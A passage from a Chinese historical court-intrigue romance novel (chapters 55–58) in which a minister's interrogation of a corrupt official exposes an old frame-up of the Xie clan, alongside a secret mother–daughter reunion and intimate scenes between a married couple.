明明是柔软漂亮的绸缎却被他绑在了床架上,两头系在她的腕间,或者系在她的脚上,总之全用在她身上了。 她以为会疼,却整个晚上只觉得灵魂在飞,半点痛感都没察觉,这会举起手腕脚腕看去,也只有微微的一抹红,不痛不痒。 睡够了,养足了精神,她慢吞吞地爬起来穿戴好衣裳,门外已经响起丫鬟们的声音。 哥哥回来了。 她套上绣鞋往外走,还未见到人便听见哥哥的声音:“夫人今日可有做噩梦?” 是了,自从知道自己梦魇后,她最近半个月时不时就做噩梦,只有喝了李素风的药方才好些,却并不能根治。 鹊枝回话道:“少夫人下午睡着还未起身,奴婢还不知晓” 不待鹊枝说完,许清妙推门出来,笑道:“今儿下午没做噩梦。” 许恪转头看过来,抬脚走近她,“那就好,等李医正再开几贴药吃了就完全好了。” 许清妙知道这是安慰她,因为做不做梦哪是吃药能决定的呢?一直吃药克制着,她总不能常年吃药吧。 挺难喝的。 “嗯,哥哥近日可有见到禁军统领萧大人?四妹妹今日还问起他了,说是好些日子没收到他的来信了。” 萧云牧与许清雾定了亲,婚期却被推迟到了年后,俩人这些日子保持着半月一封信的来往。 许恪顿住脱外袍的动作,略一思考说道:“萧统领在皇陵守着皇上,再有几日就回来了。四妹是有事要找萧统领吗?” 许清妙摇头:“没有,就是听她说没接到萧统领回信,恐是她担心了吧。” “嗯,你明日转告她,他没事。” 俩人说着家常,许恪顺其自然地说道:“后日,与我去韩相府上一趟。” 许清妙意外地看向许恪:“怎么突然需要带女眷一起去呢?” 许恪笑道:“私宴,就我们师徒,不用紧张,他大概是想介绍什么人给我们认识。” 在许恪看来,韩烈的行为大概是想让那女子与许清妙熟悉下,往后社交往来有点相熟之人。 “好,那我准备准备,备好礼物随你一起去。” “嗯,正好我们也去外面逛逛。” · 韩烈回到府里,前院院子里多了许多清雅摆设,字画摆件布置高雅。 韩平在旁,笑的眼睛眯起,抬头挺胸道:“老爷,都是根据夫人的意思布置的,夫人还说老爷要是有不满意的地方就直接换掉。” 韩烈扫过庭院,奴仆洒扫整理,各司其职井井有条,这府里终于是个有了女主人的样子了。 “嗯,没有不满意的,往后夫人如何说,你们如何办就是,不用来问我的意见。” 韩平连连点头应下,裂开的嘴都快到耳朵了,谁能想到时隔十八年后,夫人还能完好如初的回来了。 真好呀! 后院门槛处,谢云蝶正将她穿来的那身轻薄得不忍直视的纱衣丢进了火盆中,屡屡白烟升起。 韩烈站在院门口立定瞧着,等到她发现自己,才一派自若的走近。 “在京城还有朋友吗?” 谢云蝶不解地抬眼看他,摇头:“没了,早就没什么朋友了。” “嗯,没事,等许清妙来了,你可以先试着跟她做朋友。” 谢云蝶一愣,转而想到什么,再次摇头:“韩烈,那是我的女儿,怎么能做朋友?” 韩烈两手笼在袖中,淡淡道:“有何不可?你有你的苦衷,等谢家平反了,你会告诉她吗?” 谢云蝶想过无数次要不要找女儿相认,先不说她从没养过女儿一日,她更怕的是给女儿带来灾难。只要知道她过得好,认不认的有什么关系呢。 “以后再说吧,我现在也不敢想这些。” 韩烈颔首,“我邀请了许恪夫妻俩后日来家里做客,你准备一下。” 谢云蝶惊喜地睁大了眼睛,伸出双手抓着他的衣袖,兴奋地问道:“真的?” “自然是真的,许恪亲口答应了,你正好见见女儿女婿。” 谢云蝶脸上没有岁月痕迹,难得一见的明媚笑容让她如回到了少女时期,脸颊红晕神采动人。 韩烈一时间看得心中呆愣,转瞬清醒过来,只得勾唇笑了笑。 · 常林自从成功将谢云蝶送给了韩烈,便感到心底一阵松快,这几日见到韩烈,终于能多说几句话了,韩烈对着他也时时有了笑意。 这是想不到的好效果呀,原来这冷面右相喜欢的是这种年纪大些的美妇人,早知道他口味如此他早就物色了。 他端了热茶翘着脚靠在软榻,悠闲地看着面前的美妾跳舞。 直到心腹随从满头大汗地跑进来,惊慌失措地说道:“老爷,禁军将宅子围住了。” 话音刚落,一道有些熟悉而冷硬的声音从门外响起:“常尚书出来吧!” 第55章 第55章 常林做梦也没想到,有朝一日他会被关进自己主事的刑部大牢。 往来的狱卒、酷吏无不认识他这位刑部尚书,如今脱了官袍一身囚服蹲在干草堆里,他甚至不敢轻易奔溃哭诉,因为拉不下脸,心底还盼着出去官复原职的一日。 禁军统领亲自带人将他抓来的,手里拿的是四大辅政大臣盖过章的手书。 他日日担心谢家冤案被泄露平反,却没想到阴沟里翻了船,居然是因为牵连到了东荣的巫蛊之案,他虽然知道东荣做的这些事,但他发誓自己绝对没有碰过。 只要他没做过,那就没法给他定罪,这么想着他顿时安心不少。 可再转念一想到自己刑部审案的那套流程,他又没了信心,只要是有人想弄他,其实有没有做过有没有证据好像也没那么重要。 常林不禁浑身发抖,秋日里的凉意似寒冬。 远在胜州的吕府,在极短的时间内接到了常林入狱的消息。 吕三宗望着庭院里的萧萧落叶,遍体生寒。 他还没来得及出手弄掉常林,常林却已经无故入狱,朝廷里没有传出他具体的罪名,却将他关在了刑部大牢内,这到底是真犯事了还是有人在钓鱼? 吕三宗紧紧地拧着眉头,无法断定,缺少太多信息了。 胜州离京城太远,消息传递太慢,他又已经致仕,轻易不能再入京城。 “爹,要不写信让大哥去刑部探探常林的口风?”吕瑞目露凶光,话里暗示除了常林。 “蠢货,人家想方设法地想引出你出来,你不知道躲起来反而自己跳出来找死?” 吕三宗怒不可止,平常时候各方安定荣华富贵不觉得,一到关键时刻,这几个废物儿子就没一个能堪重用的。 人到老年,颓势早现,他吕三宗只想保住吕家家族基业,可太难了。 他望着灰溜溜走远的儿子,重重地叹气,只怕往后他前脚走了,后脚吕家就得叫仇人给掀翻了。 一世心血经营,他岂能甘心。 “来人,将这些东西悄无声息地放到常林的那外室女那去。” 还好他早就做了两手准备,不管常林是不是被人查了,他都得提前将栽赃谢家的证据放到常林身上了。 · 九月底最后的一个休沐日,许恪带着许清妙一大早出了许府。 秋高气爽,早晚凉意更浓。 许清妙难得地起了个早,被许恪牵上马车时还有些迷糊,直到马车驶进喧嚣的街市,她才彻底地清醒过来。 “哥哥,我们给韩相家那位夫人买点礼物吧?” 许清妙昨日夜里已经听许恪说过,韩烈邀请他们夫妻上门是为了见他新进的一位夫人。 许恪颔首:“可以,你自己也逛逛买点喜欢的。” 许清妙捂嘴笑出声,她还真不喜欢逛街,三年中喜欢逛街的自己也不知道是怎么喜欢上的。 她最大的愿望还是到处走走看看,领略不同地方的风情。 “成,逛街。” 马车在最繁华的正南街停下,许恪牵着许清妙下了车,俩人身后跟着鹊枝和随安,其他仆从都守在马车附近没有跟着。 因国丧即将过去,街上已经恢复了往常的繁荣,只是还酒楼还未营业,街边的茶摊小贩已经热火朝天。 在许清妙的记忆里,她极少出门逛街,更别提京城的繁华街市,这一路走过倒是大开眼界。 卖什么的摊位都有,她侧头看了眼许恪,他神色淡淡对这些并无兴致,但很安静地陪着她一个摊位一个摊位的走过。 在经过一家金玉首饰店铺时,许清妙决定进去买件首饰送给韩夫人。 “我们都没见过那位夫人,买的东西她会喜欢吗?”许清妙拉着许恪进了店,小声向许恪说出心中疑虑。 “心意到了就成,清妙凭自己眼光挑,夫人会喜欢的。” 许恪一本正经地安抚她,许清妙抿嘴一笑,暗道自己眼光确实不错。 买好礼物,许清妙自己也买了一套类似的头饰,开开心心地回到了马车上。 “哥哥,没想到京城的街市这么热闹,等日后我也要约着妹妹们一起出来逛逛。” 许恪颔首,“嗯,带上侍卫就成。” 俩人到达韩府时,时辰正好合适,因提前一天就递了帖子约定了时间,韩府门房一早就候在门口,此时见了他们马车,立马有人飞快地往内院报信去了。 许清妙第一眼见到谢云蝶就觉得有种莫名的亲切。 “夫人真年轻,看起来跟我差不多年纪。” 她不禁感慨,甚至没有顾及年龄的忌讳,实在是谢云蝶这脸这身段哪哪都不像年近四十。 谢云蝶之所以主动告知许清妙她的年纪,心里不过是想为女儿打个预防针,免得她将自己当成了同龄人,日后难以接受。 如今,能听到女儿如此真挚的赞美,她脸上是掩盖不住的笑意。 “清妙过奖了,我叫你清妙可以吗?你也别叫我夫人,就叫我师娘行吗?” 谢云蝶克制住自己想亲近许清妙的激动,只眼睛定定地看着她。 “可以的,师娘叫我什么都成。”许清妙笑起来圆圆的眼睛发光,与谢云蝶的笑眼如出一辙。 许恪看着俩人的脸,默默低头喝茶,很快,他深邃的眼睛看向自己的老师韩烈,只见他笑着对他点头。 许恪按耐住心底的异样,只等到许清妙与谢云蝶一起去了院子里赏花,才不解地看向韩烈。 “老师,这位夫人就是您等了十几年的人?” 韩烈含着笑点头,“是的,她是为师明媒正娶的妻子,只是走失了多年,如今终于回来了。” “那她与清妙是什么关系?” 他不信韩烈这样聪明又有眼力的人看不出她们的相似之处。 “清妙是她的女儿。” 许恪惊讶看向韩烈,心底却有几分果然如此的平静。 “清妙与老师呢?” 韩烈摇头:“不是我的血脉,但是她的孩子就是我的孩子,你放心。” 许恪突然回想最近察觉到的一系列不正常,韩烈不避讳他很多政事,私事上更是会偶尔调侃他,这是三年前从没有过的,而三年前他成婚,婚后必然带清妙见过韩烈。 “你带清妙来见我时,我就认出来了,只是那时没有找到她,所以并不敢确定。” 许恪不意外,知道老师的性子,没把握的事情不会声张。 “那老师今日叫我们来是有何打算呢?” 他现在可以猜到韩烈此次请他们过来,肯定不只是为了见见他的夫人了。 “我让禁军将常林抓进刑部大牢了,想让你去主审他,将他与吕三宗的关系查清楚。” 许恪颔首,但不解道:“老师为何交给我去呢?我对吕三宗并不熟悉。” 韩烈笑道:“因为我出面吕三宗就会马上将证据销毁,等不及栽赃常林了。” 看起来韩烈对于吕三宗和常林的关系很清楚,只是没有证据才没有动手。 “吕三宗联合常林设计害死谢家一百八十口人命,谢家的冤屈必须洗刷。” 韩烈脸上没了笑意,只有一种被时间洗涮后的冷漠和执着。 许恪脑子里立马联想到了先皇登基前被判通敌罪的京城谢家,那曾经是京城里最大的世家,可惜在他来到京城前就消失了,他也是翻看各自档案时见过。 没想到,谢家居然是清妙的外祖家。 “老师放心,我定全力以赴。” 韩烈点点头,“用常林钓出吕三宗,只要吕三宗出来了,剩下的就交给我来。” 许恪听懂了他的意思,要翻案还要给致仕的前相爷定罪,牵扯太深,得韩烈亲自出面。 · 许清妙没想到与这位美丽的师娘能如此合得来,俩人口味喜欢都相似,在院子里赏花喝茶聊了很多,直到要回去了,她还有些恋恋不舍的。 “清妙得空随时可以来找我玩,我很喜欢你。”谢云蝶抓着清妙的手,眼睛灼灼的看着她。如果可以,她甚至想立马与女儿相认。 乖巧可爱,善良体贴的女儿,她却错过了整整十八年,脸上有多高兴,心底就有多遗憾。 许清妙笑着应下:“师娘放心,我肯定经常来打搅你,清妙很喜欢师娘。” 她不吝啬表达自己的欣喜之情,这是她第一次这么喜欢一位长辈。 许恪看在眼里,有些无奈,刚刚韩烈交代先不要告诉清妙,因为师娘想等谢家平反后再说。 为谢家翻案不是轻而易举的事情,暴露了俩人关系很可能招来不必要的麻烦,许恪也认同谢云蝶的决定。 他今日没有问韩烈,既然谢云蝶是清妙的母亲,那清妙的父亲是谁呢? 许清妙告别了韩家,随着许恪坐上马车返回许家。 车厢内只有夫妻俩人,许恪搂着她的腰,低头亲她,惹的清妙噗嗤笑出声。 “笑什么?”许恪低声抱怨。 许清妙捏着他的手指,清脆的声音说:“没想到你老师那样孤零零的一个人过了十几年,竟然还能找回当年明媒正娶的妻子,真的为他感到高兴。” “嗯,有情人终成眷属。” 第56章 第56章 残照西落,乌嘀声声。 黑墙乌瓦、昏暗潮湿的刑部大牢内燃起数十火把,三司官员分坐堂上,威严肃穆。 曾经权势通天的刑部尚书常林伏地痛哭,活像是受了天大的冤屈一般,眼睛哭得红肿、嗓子也哭得嘶哑,像只无头苍蝇似的一遍一遍地重复:“冤枉啊,本官绝对没有跟东荣勾结诅咒皇上,各位大人还请为我查明真相呀。” 他实在慌了,抬头望去,这正堂主审位置上坐的不是刑部官员,而是年纪轻轻的许恪啊。 许恪背后是谁?是韩烈和三大辅政大臣啊。 “常林,你老实回话,如果不是你唆使,东荣一个常年关在宫中的太监,是如何敢起心思诅咒谋害皇上的?”大理寺少卿胡汇中冷脸厉声喝道。 许恪侧目看过去,胡汇中一脸刚正不阿地看向常林,一副公事公办的模样。 常林也没想到一向亲善好说话的胡汇中会突然对他发难,梗着脖子反驳:“欲加之罪何患无辞,你们一点证据都没就给我乱按罪名,意欲何为?” 许恪不动声色看着俩人你来我往地试探,等到常林脸红脖子粗了,他才缓缓开口问道:“常林你在刑部多少年了?” “我在刑部干了二十年,一心为先皇尽忠尽力,怎么可能勾结东荣谋害皇上呢?还请许参知调查清楚还我清白。” 常林情绪激动的辩驳,表明自己并无参与东荣的事情,据理力争的样子似是真的问心无愧。 许恪低头翻看着卷宗,全是关于内侍官东荣与常林的各种往来记录,有送金银财宝的账目也有送美人美妾的记录,两人沆瀣一气,多年来一直有往来。 许恪清楚,如今抓住这些来向常林发难,不过是韩烈为了设局引出常林背后之人。 他不由想起那日韩烈说过的话:“只要常林犯事入狱常家败落,那吕三宗一定会出手,因为他知道常林经不起细查,他一定会有动作。” 许恪一步一步按着既定的安排开始提问。 “常林,你猜我们从你的外室那里得到了什么?” 常林茫然地看向许恪,细数自己在京城的七八座别院,如今只剩一处还圈养着一名叫玉儿的外室,他脸色难看,强作镇定地疑惑道:“得到了什么?” “不瞒你说,你的外室送来了当年你栽赃嫁祸谢文青通敌卖国的证据。常林你很可以呀,没想到过了这么多年了,你居然还完整保存着这些证据,难道是为了得意时能常常翻看不成?”许恪的声音既冷淡中透着一种故意调侃。 头冒冷汗的常林露出不可思议的表情,嘴唇打颤的半天说不出一句话。 半响才磕巴地反驳道:“不可能,这明显是有人故意栽赃陷害我。各位试想我如果真做了陷害人的事情,怎么可能这么多年还留着这些假造的证据呢?” 堂上所有人都略带微妙的看向常林,转头又看了看许恪,一些老道的人已经看出了门道。 就在众人以为许恪是要给常林定罪时,检察院副使梁骁出声道:“此事牵扯先帝,还请许参知彻查此事。” 许恪向梁骁点头,继续顺势问道:“既然常大人说是栽赃,那麻烦常大人说说到底是谁有这样的本事陷害你,而且牵扯出前朝的谢家?” 常林额头上的冷汗成股的往下流,眼睛惊疑不定地盯着许恪,试图分辨他是否在诈他。 许恪大马金刀的坐在主审椅上,俊秀藏锋的双眼半垂着,连半个眼神也没给他,清冷的声音再次响起:“既然常大人不说,那么将证物都呈上来给他先看看吧。” 常林被抓了几日,之所以选择今日审讯他,是因为有人动手了,将所有谢家被陷害通敌的证据全部送了上来,而且直指常林,说是他在背后主谋此事。 常林不解,当年那封给谢家定罪的通敌密信,明明是吕三宗找人伪造的,而如今却全变成了他做的。 他知道如果他继续隐瞒,再不说出真相就真成了吕三宗的替罪羊了。 “常大人可看清楚了?是不是你做的呢?”许恪朗声发问,周围的官员吏卒窃窃私语。 常林咬牙切齿,狠狠道:“不是我,这是有人故意嫁祸!” “噢?那常大人肯定知道是谁嫁祸你的了,说吧,再不说我可不会再重复一次了。” 在场所有人都看向常林,也都好奇他会说出什么话来。谢家谋反案是十八年前就定了罪抄了家的,怎么突然又说是被人陷害呢? 常林咬了咬牙,闭眼沉沉地说道:“这些都是前相吕三宗所为,我有确切的证据可以证明。” 许恪眼底亮光一闪,没想到常林还真留了一手。 “噢?那常林你的意思是你知道谢家案是冤案,而且也知道是吕三宗嫁祸于谢家?” 谢家谋反大案虽是刑部主审的案子,但最终定罪却是由当时的太祖皇帝定下的,轻易没人敢说翻案。 如今当年的主审官亲口承认案子有冤情,那无论如何都有理由重新审查。 常林丧气地点头,应下:“是的,我当时刚进刑部没多久,正是缺少机会的时候,吕三宗找到我,说只要我能按照他说的做,能保我在刑部出人头地……” 众人议论纷纷,边听着他陈述辩解,边讨论着谢家这个退出历史舞台的昔日豪族。 “当年谢文青多风流儒雅的人物,竟然是被陷害的,死了不说还连累了整个谢家陪葬,至今背着谋反的罪名呢!” “这要是真的冤枉的,那吕三宗和常林可真该死呀!” “就是,他还好意思在这里哭诉冤枉,谁有谢文青冤枉了?” …… 许恪静静等着常林交代清楚,也任由所有人议论不休,等到吕三宗的名字频频提起后,才出声打断:“常林,你可愿意指认吕三宗?” 常林求之不得,疯狂点头,“我愿意,我愿意,我可以与他当堂对质。” “他想把全部罪名推我身上想都别想。” 许恪颔首,常林果然如韩烈所料,早就对吕三宗有分歧了。 第57章 第57章 武兴八年,深冬。 一封勾结外邦将领、泄露边防舆图的谋反密信在大雍朝掀起滔天巨浪,百年豪族谢家一朝覆灭,更甚至将当朝太子牵连其中,政变一触即发。 谢家一百八十口已于日前处决,名册送上去的第二日,常林的升迁令也下来了,由刑部员外郎擢升刑部侍郎,连升两级震惊朝野。 刑部衙门内,常林正满脸笑容地接受同僚祝贺,众人其乐融融:“恭喜常侍郎高升,今晚大伙在醉香楼设了宴为你庆祝,可不能不赏脸呀。” 常林短短两年间从员外郎一举升为侍郎,可谓平步青云,所有人都知道他这是背后有人呀。 这样的升迁速度,令同僚连眼红都不敢泄露半点,只能巴巴地上前道贺恭喜。 常林的得意脸上不显,心底却乐开了花,以至于他更加的坚定抱对大腿比拼命努力重要得多。 庆贺宴上,推杯举盏间,他不禁想起自己走到这一步所付出的代价,人要想获得总得付出,他付出的便是对吕三宗的绝对唯命是从。 可酒意涌上时,他就会有几分真实的清醒,深知有靠人上位之日就有被人拉下来的一日,他要想站稳脚跟,总得有自己的手段。 他是如此,权宠正盛的吕三宗又何尝不是如此呢? 吕三宗是皇帝身边的恶犬,那他就是吕三宗身边的一只猎狗。 皇帝想拔了谢家这棵大树,吕三宗就能心狠手辣地牵连谢家全族,为的不过是怕被谢家余孽报复。 而他常林又有什么呢?他挡在了吕三宗的前面,是这场“谋案”的主审,所有诬陷栽赃的证据都是吕三宗提供,他给做实的。 要是有翻案清算的那一日,他要如何自处,酒意最深时,他不由惊出一身冷汗。 酒宴过半,他匆匆忙忙地告辞,吕三宗买通谢家家奴将那封伪造的书信放入谢文青书房,事成之后,吕三宗让他将那家奴秘密处理了,他安排了今日夜里让人悄悄制造成意外坠井。 现在常林决定不让他死了,留着这人往后真有什么意外他就有了证人。 所幸他飞奔回府时,堪堪拦下了这场意外,将那奴仆秘密送往了别处,一同送去藏起来的还有他为吕三宗做下这事的来龙去脉详细记录。 这些年,他始终留着这个奴才和证据好似就是为了对抗这一刻。 · 韩相府前院,深秋时节凉意袭人。 许恪踏着秋色进了韩府,往常熟悉的院景似是有些不同,常年单调的院子里摆上了盆栽、挂上了灯笼,处处彰显有了女主人后的变化。 许恪心底一松,老师如今的日子才算是有了些许人气。 他转身进了书房,俩人在里面一待就是一个时辰,许恪详细地将提审常林的细节回复了韩烈。 韩烈听后陷入沉思,半响才低声叹道:“好一个常林,两面三刀只求自保,他的话不能全信也不能不信,如今既然他咬出了吕三宗,那你明日便将事情在朝会上提出来,到时候我会顺势接过此案。” 许恪颔首,“老师可有把握?吕三宗虽然辞官致仕了,但门生众多,朝廷里还有一大批的官员都被他握在手里,想要抓他得能证据确凿一举成功才行。” 韩烈搁下毛笔,轻蔑地笑了笑:“不懈难道忘了,如今很多事是为师说了算,吕三宗这回跑不了的,证据确凿没人能再敢保住他。” 许恪一顿点点头不再反驳,深知如今的官场上韩烈已经如他所说大权在握,无人可挡。 “不懈可是怕了?”韩烈抬眼看向自己最重视的弟子,列翠如松地伫立桌前。 许恪挑眉疑惑道:“怕什么?” “怕为师成为下一个吕三宗,不懈心里难道不曾担忧?” 韩烈的声音轻巧无半点试探。 许恪沉默一瞬,颔首道:“会担忧,但不怕老师成为下一个吕三宗。” 韩烈似来了兴致,继续问他:“为何不会?吕三宗当权十几年,可谓是一人之下万人之上,如今为师手里的权力可比他还甚,权力可使人腐烂呀。” “可是老师有良知有底线,与吕三宗有天壤之别,权力在谁手上便有不一样的效果,况且老师也不是一个欲望野心泛滥的人。” 韩烈难得的笑了起来,清清凉凉的声音很是悦耳。 “谢谢你的赞美,老师没你说的这么干净,但也绝不是吕三宗那样的狼子野心狠辣凶残之人,老师为谢家平反后就没什么好留恋的了,官场二十载早就厌倦无比。” 韩烈的眼底浮现出耀眼的流光,许恪知道他说的是真话,他自从找回了谢云蝶整个人的气质都变了,再无孤狼般的一身寂寥。 俩人又说了好一会话,许恪才放心地告辞出来。 刚走至书房外的长廊转角处,迎面遇上带着丫鬟仆从含笑而来的谢云蝶。 “许参知可是要回去了?”谢云蝶的笑很得当,既没有太殷勤又透着一股亲切。 许恪知道谢云蝶的身份,面对自己不能相认的岳母,他只恭敬地行礼回道:“见过夫人,晚辈确实正要回府。” 谢云蝶满意一笑,抬手让丫鬟提来一个食盒说道:“上回清妙说很喜欢这道芙蓉鸡片,今儿正好做了,许参知可否带帮我带给清妙?” 许恪应声接过,脸上自若地谢道:“晚辈代清妙谢过夫人。” 谢云蝶脸上的笑意更深,只抬手让他不用多礼,“那我不耽误许参知了。” 许恪躬身告辞,提着食盒步履匆匆地出了府。 谢云蝶转身回去,没再往书房去,却不想刚抬脚往外走便被喊住。 “夫人来了也不见我吗?” 谢云蝶转身看去,原来是韩烈正立在书房外看着她,脸上平和带着笑意,说出的话却像沾了陈醋。 谢云蝶现在对着韩烈已经没了开始的陌生,俩人这些日子过得很是融洽。 “你忙完了吗?我以为你还有正事呢,不好打搅你才没进来。” 谢云蝶本就是听说许恪来了,才匆匆让人备了芙蓉鸡送来,只是为了让许恪顺路带回去给清妙而已,哪里想过找韩烈的事情。 这般说辞也是临时找来的,生硬不已。 可韩烈却并不在意,反而走到她身边,低头牵过她的手扣住。 “我回府后基本没有什么正事,夫人可以随时来找我,都不打扰。” 他说话语气平和很能令人信服,可跟在一旁的韩平差点没翻白眼,自家主子回府后除了政务就没干过别的,如今有了夫人倒是能调到黑白了。 眼看着韩烈牵着谢云蝶进了后院,韩平没再跟着,只能回了前院先处理一些简单的事情。 · 国丧终于过了,许清妙也脱下穿了整整三个月*的素服,换上了色彩明亮的鹅黄色秋衣,头上也簪上了简单的碎花状珠钗。 这一日傍晚,许恪又提了一只眼熟的食盒回来。 许清妙接过打开,竟是一道酥炸小丸子,她不由惊喜道:“这又是师娘给我做的?” 最近这些日子,许清妙时不时就接到谢云蝶亲手做的小吃,有小酥鱼、小肉丸、小炸糕等等,都是些许清妙喜欢的小吃。 “嗯,今日老师让我过去了一趟,师娘知道了就让我给你带回来了。” 许清妙接过鹊枝递来的筷子,捡了一颗小丸子塞进嘴里,酥香满口,“师娘手艺真好,就是会不会不太好,让师娘给我做这些,要不明儿我去韩府谢过师娘让她别再送了?” 许清妙心思很简单,师娘如今是相爷夫人,却亲自下厨给她做这些,她总觉得有些不妥,即便知道师娘是喜欢她,但也实在太有压力了。 许恪端着茶没说话,直到许清妙吃了好几口后才淡淡问道:“清妙可喜欢师娘做的吃食?” 许清妙连连点头:“自然喜欢的紧,可是” 许恪握着她的手,打断她:“喜欢就行,其他的不用担心,师娘那里更不用有负担。” 许清妙停筷,不解地看向他:“这是为何?我与师娘认识没多久呢。” “老师说师娘多年没有朋友亲人孤身一人,自从见了你便一见如故,师娘平日里也没其他爱好就喜欢做吃的,有你喜欢吃对她来说是最好的反馈,所以清妙喜欢就行。” 许恪的话避重就轻,只表达一点谢云蝶喜欢清妙。 许清妙听了抿嘴笑了起来,握着他的手指晃了晃,自信满满地说道:“师娘喜欢清妙,清妙也喜欢师娘。” 一时间屋里的婢女忍着笑意纷纷退了出去,只留下夫妻二人说话。 许恪轻轻地叹气,伸手揽住清妙的肩头,声音轻柔地补充:“嗯,哥哥也喜欢清妙。” 许恪一向不吝啬表达自己的情感,况且是对着清妙,几句话便将人哄得脸红心跳的。 窗外的天光已经落幕,满室灯火柔光,许恪端坐桌前一手揽着许清妙将她拉坐在腿上,一手举着筷子给她夹丸子。 她吃一个,他便喂一个,直至许清妙推着他的手说不吃了。 “不吃了?” 俩人靠得极近,呼吸间全是彼此的气味,许恪的眼神落在许清妙沾了油渍的唇间。 许清妙抬眼便瞧见了他的眼神,连忙推他站起身来。 “哥哥稍等,我去洗漱。” 说完瞥了他一眼跑进了内室。 许恪不由轻笑,他倒没介意亲她的小油嘴,她自己反而不愿意。 许清妙躲进内室倒了凉水漱口洗脸,捂着凉爽的巾子按在脸上,反复擦洗干净了才冷静下来。 如今一个眼神她就知道哥哥想干什么,她要是跑慢点哥哥就要亲她了,那太不体面了,嘴里还是肉丸子味道呢。 她捂着脸又感叹,时间过得真快,他们俩已经熟悉得每日都要亲吻拥抱,一举一动也能知道对方的意图了。 “洗好了吗?” 身后传来脚步声,是许恪进来了,紧接着是关门的声音。 许清妙还没来得及转身,便被许恪从身后抱住,双手将她搂紧下颌抵在她的发顶。 “洗好了,哥哥不先去用膳吗?” 她的声音发瑟,知道身后人的意图,任由他的手指穿过衣带覆上她。 “不用,今日回来前用过了,妙妙要先用膳吗?” 他的声音黏在她的耳后,时不时火热的唇亲在她的耳骨上。 很痒! 她连连摇头,颤声道:“不用,我刚吃得太饱了。” 一食盒的小丸子,她被他喂着吃了一半,现在小腹都是鼓鼓的。 她刚说完,就瞧见哥哥的一只手覆在了小腹上,轻轻地揉动着:“给你揉揉肚子?” 前几日,师娘给她送了糯米糕,她嘴馋就多吃了几块,却不想闹了积食,哥哥便是这样打着圈的为她揉肚子消食。 可今日远远够不上积食,还用不上揉肚子的,但许清妙没有开口拒绝,任由他为自己轻轻的揉着。 温馨又舒服。 只不过渐渐地,她发现许恪的手温度越来越高,身后的体温也是滚烫。 耳垂更是被他亲得发红发烫,他的吻渐渐往脖子处亲下去,许清妙伸手想拦他,却被他抓着手按在他的身上。 净房的灯火很暗,一晃晃地照在拥立在一起的人影上。 “哥哥” 她转身抬起头看他,潋滟含情眼神对上的是一双浓郁深情的眼睛,越来越近,直至唇齿相接。 终于亲上了,刚刚在外间时,她就知道他想亲了,她其实也想了,喜欢的人在一起怎么能忍着不亲呢。 她喜欢他身上的味道,深嗅一下就是独属于他的气味,清爽中带着一股水墨香。 或许是哥哥成日里浸没在书卷笔墨间无意沾惹上,她却好喜欢这个味道。 亲吻早就熟练无比,耳边甚至传来潺糯的吞咽之声,许清妙搂着他的脖子脸红到了耳后。 太羞人了她想躲,却被他单手抱起,一手托着她的臀一手掌着她的后颈,被亲得更加的彻底,不容躲闪。 许清妙不知道被他这样抱着亲了多久,直到她嘴都麻了,许恪才将她抱回了拔步床上。 此时外面的烛火已经灭了,丫鬟们没有贸然地进来续上,许恪也没有停下动作去点亮新的烛火。 靠窗外那泛着清辉的月色,许清妙才勉强看清眼前的许恪。 微微濡湿的额发,整张白玉般的脸上唯有唇色深暗,薄唇轻启很快又亲了下来,动作太过自然,显得欲色十足。 许清妙见过他这副模样,在每一个夜晚里他在与她的床榻上才会有的模样。 夜色中看不清其他,耳边的声响变得格外清晰,衣物蹭下去时悉悉索索的声响,轻喘声也变得振聋发聩。 一切的一切,都像被放大,大到许清妙觉得根本承受不了。 可一向温柔体贴的哥哥却哄她:“妙妙放松些,不用太紧张,你能适应的。” 呜呜呜,许清妙羞涩地伸手盖住他的嘴,却被他火热的鼻息烫到,又颤抖着缩回了手,将头埋进他怀里掩耳盗铃般装作没听到。 谷水潺潺,木落翩翩。 她像掉落在一片浮萍之上,水波飘来荡去,只能靠着双手紧紧地攀附才能片刻稳住,可惜不过瞬息,她还是被洪水倾覆沉入了水底。 许清妙只觉得自己吃的那点小丸子,已经被消耗地干干净净了。 她黏糊糊软趴趴地附在许恪的身上,听着他极快的心跳声慢慢地平复。 “我饿了。” 她迷蒙无力间只说出这句话来,说完也不管他听没听见,自顾自地趴着歇息。 许恪闻言睁眼,拉过薄被盖在她背上,低头亲着她的额头问道:“那我让丫鬟们送吃食进来?” 许清妙咽了咽干涸的嗓子拒绝:“不要,哥哥你去帮我倒水喝,然后端吃的进来,我不要丫鬟们见着我这副模样。” 虽然丫鬟们都是见过大世面的,但在她还清醒时,她才不要被人看到她现在的模样。 许恪勾唇轻笑,“好,那你从我身上下去,我起身穿衣服伺候你。” 许清妙:“” 第58章 第58章 “混账!谁让你自作主张的?我是已经老得动不了了吗?” 吕三宗震怒的声音里夹杂着浓浓的无奈,他是怎么也没想到,自己一生汲汲营营谋算万千,会生出这样一个儿子。 “爹,儿子做的很隐蔽,保证没人会知道是我们做的,到时候常林肯定被严肃查办再无法威胁到我们,您老就放心吧。” 吕瑞满脸的郁闷,整了整官袍,暗道自己都一把年纪了还要被父亲指着鼻子骂,真是憋屈,想他也是一方官员谁见了不得称赞他一声年轻有为呢。 况且,吕家这一辈就剩他机灵果敢,在京中的大哥老实本分过了头,不知道趁着常林入狱一举弄了他,反而畏畏缩缩地将他做的事全告诉了父亲,这才让父亲有机会将他骂的狗血淋头。 正所谓趁人病要他命,这样的道理父亲和大哥他们难道不懂吗? 不过是因为他们没胆量而已,父亲这些年年纪大了做事瞻前顾后,大哥三弟更是庸才不堪大用,要是没有他果断出手,这么好的机会可就白白错过了。 常林是这世上唯一知道父亲秘密的外人,父亲早就想除了他。 吕三宗闻言铁青的脸上,一双暴怒的眼睛里泛茫然无措,想他凡事都要做到极致的一个人怎么就生了这么个草率狂妄又无知的儿子呢? “你你这蠢货,常林只是被关押还在审讯阶段,他有的是机会扯出我们家,况且在尚未分清楚是否有人在背后捣鬼时,你就贸然地送上去,到时候” 说到后面,吕三宗长叹一声,实在无话可说,事情已经做下,要真被常林反咬一口只怕是非死即伤。 俩人说话间,管家敲门送进来一封京城寄来的加急信。 “老爷,是您的门生曹主簿送来的。” 吕三宗暂时收了骂声,抬手接过信,不等管家说话便挥手让人退下,皱起眉头低头拆信展开。 吕瑞退至一旁,悄悄地长舒一口气,总算没骂了,他习惯了父亲对他的轻视,但这回他肯定能让父亲刮目相看。 京中好友来信偷偷告诉自己,常林这回是牵扯进了谋害皇上的大罪,无人能救,更没人听他狡辩,自己只要将父亲在意了一辈子的事情都推到他身上,必然能让他百口莫辩。 